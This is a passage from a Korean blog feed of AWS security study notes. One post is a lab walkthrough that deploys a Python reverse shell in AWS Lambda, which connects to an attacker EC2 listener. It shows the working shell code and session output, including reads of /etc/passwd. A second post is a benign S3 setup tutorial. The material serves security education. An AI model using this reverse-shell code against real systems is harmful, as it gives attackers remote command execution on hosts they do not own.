&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 다음으로는 AWS Lambda 기능을 이용하여 Webserver 인스턴스에 리버스 쉘을 열어보도록 하겠습니다. root 권한으로 리버스쉘을 획득할 수 있게 된다면 곧 해당 서버에 대해 root 권한으로 쉘을 다룰 수 있다는 것을 의미하므로 직접적으로 대단히 큰 위협이 될 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. Opening ReverseShell via Lambda&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 먼저 Attacker 인스턴스에서 netcat 등을 통해 80포트를 리스닝하도록 설정해주세요.&lt;/p&gt;
&lt;pre id=&quot;code_1694331565155&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 퍼블릭 도메인 주소 확인 : 메모해두기
$ curl -s http://169.254.169.254/latest/meta-data/public-hostname ; echo
  ec2-54-180-157-149.ap-northeast-2.compute.amazonaws.com

# netcat 실행 : TCP 80 포트로 Listen(대기)
$ nc -lvnp 80&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 다음으로는 AWS Lambda 환경을 구성해주도록 하겠습니다. Lambda는 AWS에서 제공하는 클라우드 기반의 코드 실행 서비스로서, Google Colab과 유사한 서비스라고 생각하시면 편할 것 같습니다. 클라우드 상에서 가상의 빌드 환경을 구성하고 웹을 통해 코드를 작성하거나 빌드하여 테스트까지 해볼 수 있는 서비스를 제공합니다. 현재 실습에서는 아래의 사진과 같이 파이썬 3.7을 기반으로 환경을 구성해주도록 하겠습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1218&quot; data-origin-height=&quot;595&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mFgo1/btstyvYip8U/a3bT85W9p032hvRVdI0NJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mFgo1/btstyvYip8U/a3bT85W9p032hvRVdI0NJ0/img.png&quot; data-alt=&quot;이름 : LambdaShell,&amp;amp;nbsp; 런타임 : Python 3.7&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mFgo1/btstyvYip8U/a3bT85W9p032hvRVdI0NJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmFgo1%2FbtstyvYip8U%2Fa3bT85W9p032hvRVdI0NJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1218&quot; height=&quot;595&quot; data-origin-width=&quot;1218&quot; data-origin-height=&quot;595&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;이름 : LambdaShell,&amp;nbsp; 런타임 : Python 3.7&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 또한, Lambda의 '구성' 탭으로 이동하여 제한 시간을 5분으로 조정해주세요.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1261&quot; data-origin-height=&quot;896&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmJsix/btstwhtawlj/XSo7vvvAhO30I0vaOqxvIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmJsix/btstwhtawlj/XSo7vvvAhO30I0vaOqxvIK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmJsix/btstwhtawlj/XSo7vvvAhO30I0vaOqxvIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmJsix%2Fbtstwhtawlj%2FXSo7vvvAhO30I0vaOqxvIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1261&quot; height=&quot;896&quot; data-origin-width=&quot;1261&quot; data-origin-height=&quot;896&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 준비가 끝났으므로, 이제 코드 섹션에 아래의 내용을 작성하고 실행하기만 하면 됩니다. 다만, ipv4 주소가 아니라 인스턴스의 퍼블릭 도메인 주소를 넣어야함에 유의해야 합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1694331823381&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 코드 작성 후 Deploy까지 진행해주세요.

import socket,subprocess,os

def lambda_handler(event, context):
    # TODO implement
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((&quot;&amp;lt;각자 자신의 Attack EC2의 퍼블릭 도메인 주소&amp;gt;&quot;, 80))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call([&quot;/bin/bash&quot;,&quot;-i&quot;]);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 코드를 모두 작성했다면, Deploy 왼쪽에 있는 '테스트' 버튼을 눌러 이벤트 핸들러를 아무 이름으로 생성한 다음, 이벤트를 실행시켜주면 코드가 실행되게 됩니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;554&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdFvLF/btstzvcFQy6/1XT17SqVdMZZ0Cn8lNHsu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdFvLF/btstzvcFQy6/1XT17SqVdMZZ0Cn8lNHsu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdFvLF/btstzvcFQy6/1XT17SqVdMZZ0Cn8lNHsu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcdFvLF%2FbtstzvcFQy6%2F1XT17SqVdMZZ0Cn8lNHsu1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;554&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;554&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 이제 nc 등을 통해 80퐇트를 개방해놨던 세션으로 돌아와보면 리버스쉘이 오픈되어있는 모습을 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래의 코드블럭과 같이 다양한 명령어를 실행해보며 확인해봅시다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;418&quot; data-origin-height=&quot;229&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNrT5c/btstr4A9wQz/WCtD68BwMVqvou9NR14IM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNrT5c/btstr4A9wQz/WCtD68BwMVqvou9NR14IM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNrT5c/btstr4A9wQz/WCtD68BwMVqvou9NR14IM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNrT5c%2Fbtstr4A9wQz%2FWCtD68BwMVqvou9NR14IM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;418&quot; height=&quot;229&quot; data-origin-width=&quot;418&quot; data-origin-height=&quot;229&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1694333011001&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#
[root@Attacker ~]# nc -lvnp 80
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 3.34.200.96.
Ncat: Connection from 3.34.200.96:32820.
bash: no job control in this shell
# 아래 연결 성공
------------------------------
bash-4.2$ whoami
sbx_user1051

bash-4.2$ id
uid=993(sbx_user1051) gid=990 groups=990

bash-4.2$ ls -al
total 5
drwxr-xr-x  2 root root   41 Sep  3 14:04 .
drwxr-xr-x 24 root root 4096 Jun 12 18:36 ..
-rwxr-xr-x  1 root root  337 Sep  3 14:04 lambda_function.py
bash-4.2$ pwd
/var/task

bash-4.2$ tail /etc/passwd
sbx_user1168:x:876:873::/home/sbx_user1168:/sbin/nologin
sbx_user1169:x:875:872::/home/sbx_user1169:/sbin/nologin
sbx_user1170:x:874:871::/home/sbx_user1170:/sbin/nologin
sbx_user1171:x:873:870::/home/sbx_user1171:/sbin/nologin
sbx_user1172:x:872:869::/home/sbx_user1172:/sbin/nologin
sbx_user1173:x:871:868::/home/sbx_user1173:/sbin/nologin
sbx_user1174:x:870:867::/home/sbx_user1174:/sbin/nologin
sbx_user1175:x:869:866::/home/sbx_user1175:/sbin/nologin
sbx_user1176:x:868:865::/home/sbx_user1176:/sbin/nologin
dnsmasq:x:867:864:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin

bash-4.2$ curl -s ipinfo.io/ip; echo
3.34.200.96

bash-4.2$ df -hT
Filesystem     Type      Size  Used Avail Use% Mounted on
/dev/vde       ext4      243G  240G     0 100% /
/dev/vdb       ext4      1.5G  9.4M  1.4G   1% /dev
/dev/vdd       ext4      525M  8.0K  514M   1% /tmp
/dev/root      ext4      9.7G  555M  9.2G   6% /var/rapid
/dev/vdc       squashfs  128K  128K     0 100% /var/task&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Studies/AWS - AHSS (AWS 보안)</category>
      <author>re.t</author>
      <guid isPermaLink="true">https://reteu.tistory.com/59</guid>
      <comments>https://reteu.tistory.com/59#entry59comment</comments>
      <pubDate>Wed, 6 Sep 2023 15:08:35 +0900</pubDate>
    </item>
    <item>
      <title>[1주차] S3 취약점 및 보안</title>
      <link>https://reteu.tistory.com/58</link>
      <description>&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 40px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 40px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 40px;&quot;&gt;&lt;span style=&quot;color: #ffffff; text-align: start;&quot;&gt;  해당 포스트는 CloudNet@의 서종호 (Gasida) 님께서 진행하시는 AHSS (AWS Hacking &amp;amp; Security Study) 1기의 강의 내용을 바탕으로 작성되었습니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 주차에는 S3에서 일어날 수 있는 취약점과 보안 사항에 대해 다룬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저, S3라는 서비스에 대해 낯설게 느껴지는 사람도 있을 터이니 이에 대해 간략하게 짚고 넘어가고자 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS에서는 블록 스토리지, 파일 스토리지, 오브젝트 스토리지의 세 가지 종류로 스토리지 서비스를 제공하고 있는데, 각각 EBS, EFS, S3에 대응된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. AWS S3란 무엇인가?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS S3는 Simple Storage Service의 두문어로서, AWS에서 제공하는 무제한 오브젝트 스토리지 개념으로 이해하면 쉽다. 일반적으로 많이들 사용하는 블록 스토리지의 경우에는 데이터를 블록 단위로 관리하기 때문에, 데이터의 일부에 수정사항에 생길 경우, 변경사항이 발생한 블록에 대해서만 업데이트 작업을 수행해주면 된다. 하지만, S3의 경우 데이터를 오브젝트 단위로 관리하기 때문에 오브젝트에서 수정사항이 발생할 경우, 오브젝트 전체를 flush하고 새로 작성하게 된다. 파일의 크기가 큰 데 반해, 수정사항의 크기는 작을 경우 비효율적일 수 있지만, 속도가 빠르고 스토리지 용량을 고려하지 않아도 되기 때문에 작은 크기를 가지면서 변경이 잦은 동적인 파일을 관맇려는 경우에는 S3를 이용하는 것이 유용할 수 있겠다. 그림과 함께 다시 이해가 필요한 사람은 &lt;a href=&quot;https://bosungtea9416.tistory.com/entry/AWS-EBS-S3-EFS-%EC%B0%A8%EC%9D%B4-Block-Level-Storage-Object-Storage&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;여기&lt;/a&gt;를 통해 확인해보도록 하자. &lt;b&gt;(그림 추가 예정)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000;&quot; data-ke-size=&quot;size23&quot;&gt;2. AWS S3 세팅해보기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;S3를 사용하기 위해 우선 AWS CLI 환경 구성과 키 페어를 발급하도록 하자. 특히 키 페어는 재발급이 불가능하므로 분실하지 않도록 안전한 곳에 잘 보관하도록 하자.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;yaml 형식으로 사전 정의되어있는 템플릿을 사용하여 빌드할 예정이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/wJhXg/btssgFPLbq7/vEwXrn9jhwFnIyKqKmHeA1/Storage.yaml?attach=1&amp;amp;knm=tfile.yaml&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;Storage.yaml&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.01MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1439&quot; data-origin-height=&quot;782&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dZnQor/btsshsiiI1F/kYolhULaqZEUTrYEO7k2r0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dZnQor/btsshsiiI1F/kYolhULaqZEUTrYEO7k2r0/img.png&quot; data-alt=&quot;사진 상에서는 링크를 사용하였지만, 따라하시는 분들은 첨부파일을 업로드해서 사용하시면 됩니다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dZnQor/btsshsiiI1F/kYolhULaqZEUTrYEO7k2r0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdZnQor%2FbtsshsiiI1F%2FkYolhULaqZEUTrYEO7k2r0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1439&quot; height=&quot;782&quot; data-origin-width=&quot;1439&quot; data-origin-height=&quot;782&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;사진 상에서는 링크를 사용하였지만, 따라하시는 분들은 첨부파일을 업로드해서 사용하시면 됩니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리는 별도의 경로로 준비된 템플릿을 사용하여 스택을 빌드할 것이기 때문에 '준비된 템플릿'을 선택한 다음, 위에첨부된 파일을 업로드하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1430&quot; data-origin-height=&quot;760&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qoiLi/btssve4fT1w/As2HhsKVHKzmPTBEbtTbck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qoiLi/btssve4fT1w/As2HhsKVHKzmPTBEbtTbck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qoiLi/btssve4fT1w/As2HhsKVHKzmPTBEbtTbck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqoiLi%2Fbtssve4fT1w%2FAs2HhsKVHKzmPTBEbtTbck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1430&quot; height=&quot;760&quot; data-origin-width=&quot;1430&quot; data-origin-height=&quot;760&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스택의 이름은 임의로 지정하면 되며, 파라미터 란의 키는 이전에 미리 생성해둔 EC2 키페어를 사용하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후의 작업은 EC2 인스턴스에서 수행할 것인데, 우리는 AWS에서 제공하는 웹 쉘(?)인 AWS CloudShell을 사용할 것이다. 해당 서비스를 이용하면 SSH나 VNC 등의 프로토콜을 이용하지 않아도 웹 브라우저 상에서 바로 콘솔에 접근할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라우드 쉘을 통해 S3 버킷 을 생성해 주도록 하자.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1693470608918&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# S3 버킷 생성
NICKNAME=&amp;lt;자신의 닉네임&amp;gt;
aws s3 mb s3://ahss-NICKNAME --region ap-northeast-2

# 생성한 S3 버킷 조회
aws s3 ls&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1311&quot; data-origin-height=&quot;268&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ceVDsk/btssqx37xsQ/DQklPBO4nxiP544zKO4uoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ceVDsk/btssqx37xsQ/DQklPBO4nxiP544zKO4uoK/img.png&quot; data-alt=&quot;버킷 생성에 실패한 경우&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ceVDsk/btssqx37xsQ/DQklPBO4nxiP544zKO4uoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FceVDsk%2Fbtssqx37xsQ%2FDQklPBO4nxiP544zKO4uoK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1311&quot; height=&quot;268&quot; data-origin-width=&quot;1311&quot; data-origin-height=&quot;268&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;버킷 생성에 실패한 경우&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직 템플릿을 빌드중인 경우 버킷이 생성되지 않는다. 이러한 경우에는 조금 더 기다리고 다시 진행해보도록 하자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;733&quot; data-origin-height=&quot;210&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IUqNh/btssqnO9vcz/rzvMoh7YlX6fiXo8YJSAK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IUqNh/btssqnO9vcz/rzvMoh7YlX6fiXo8YJSAK0/img.png&quot; data-alt=&quot;버킷 생성에 성공한 경우&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IUqNh/btssqnO9vcz/rzvMoh7YlX6fiXo8YJSAK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIUqNh%2FbtssqnO9vcz%2FrzvMoh7YlX6fiXo8YJSAK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;733&quot; height=&quot;210&quot; data-origin-width=&quot;733&quot; data-origin-height=&quot;210&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;버킷 생성에 성공한 경우&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000;&quot; data-ke-size=&quot;size23&quot;&gt;3. S3에 오브젝트 추가하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; S3 버킷을 성공적으로 만들었으니 이제 버킷에 오브젝트를 추가해보자. 이번에는 간단한 텍스트 파일 3개를 업로드해보자. 아래의 코드를 따라해보자.&lt;/p&gt;
&lt;pre id=&quot;code_1693470693202&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 파일 생성
echo &quot;memo1&quot; &amp;gt; memo1.txt
echo &quot;memo2&quot; &amp;gt; memo2.txt
echo &quot;memo3&quot; &amp;gt; memo3.txt

# S3로 업로드
aws s3 cp memo1.txt s3://ahss-$NICKNAME
aws s3 cp memo2.txt s3://ahss-$NICKNAME
aws s3 cp memo3.txt s3://ahss-$NICKNAME

# 파일 확인
aws s3 ls s3://ahss-$NICKNAME --recursive --human-readable --summarize
aws s3api list-objects --bucket ahss-$NICKNAME | jq​&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일이 정상적으로 생성되고 업로드되었다면 아래의 캡처와 같이 ls 명령어를 통해 정상적으로 버킷에 파일이 담겼는지 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1331&quot; data-origin-height=&quot;412&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/M13oR/btssCt85pl9/xtmYNrZYvf5urTuvsajQM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/M13oR/btssCt85pl9/xtmYNrZYvf5urTuvsajQM0/img.png&quot; data-alt=&quot;aws s3 ls s3://ahss- $NICKNAME --recursive --human-readable --summarize&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/M13oR/btssCt85pl9/xtmYNrZYvf5urTuvsajQM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FM13oR%2FbtssCt85pl9%2FxtmYNrZYvf5urTuvsajQM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1331&quot; height=&quot;412&quot; data-origin-width=&quot;1331&quot; data-origin-height=&quot;412&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;aws s3 ls s3://ahss- $NICKNAME --recursive --human-readable --summarize&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한, 업로드된 파일은 코드블럭의 가장 하단에 기재된 list-object 명령어를 통해 자세한 세부정보도 파악할 수 있으니 참고하자.&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;imageblock&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rOfBX/btssHfWDKi8/DVtV0SCPN52inpbakgJ2a0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rOfBX/btssHfWDKi8/DVtV0SCPN52inpbakgJ2a0/img.png&quot; data-alt=&quot;1.3&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rOfBX/btssHfWDKi8/DVtV0SCPN52inpbakgJ2a0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrOfBX%2FbtssHfWDKi8%2FDVtV0SCPN52inpbakgJ2a0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 CLI 환경을 통해 파일을 업로드한 내용은 AWS 웹 콘솔 상에서도 실시간으로 반영되기 때문에 AWS 웹 콘솔에 접속할 경우 아래와 같은 화면을 확인할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
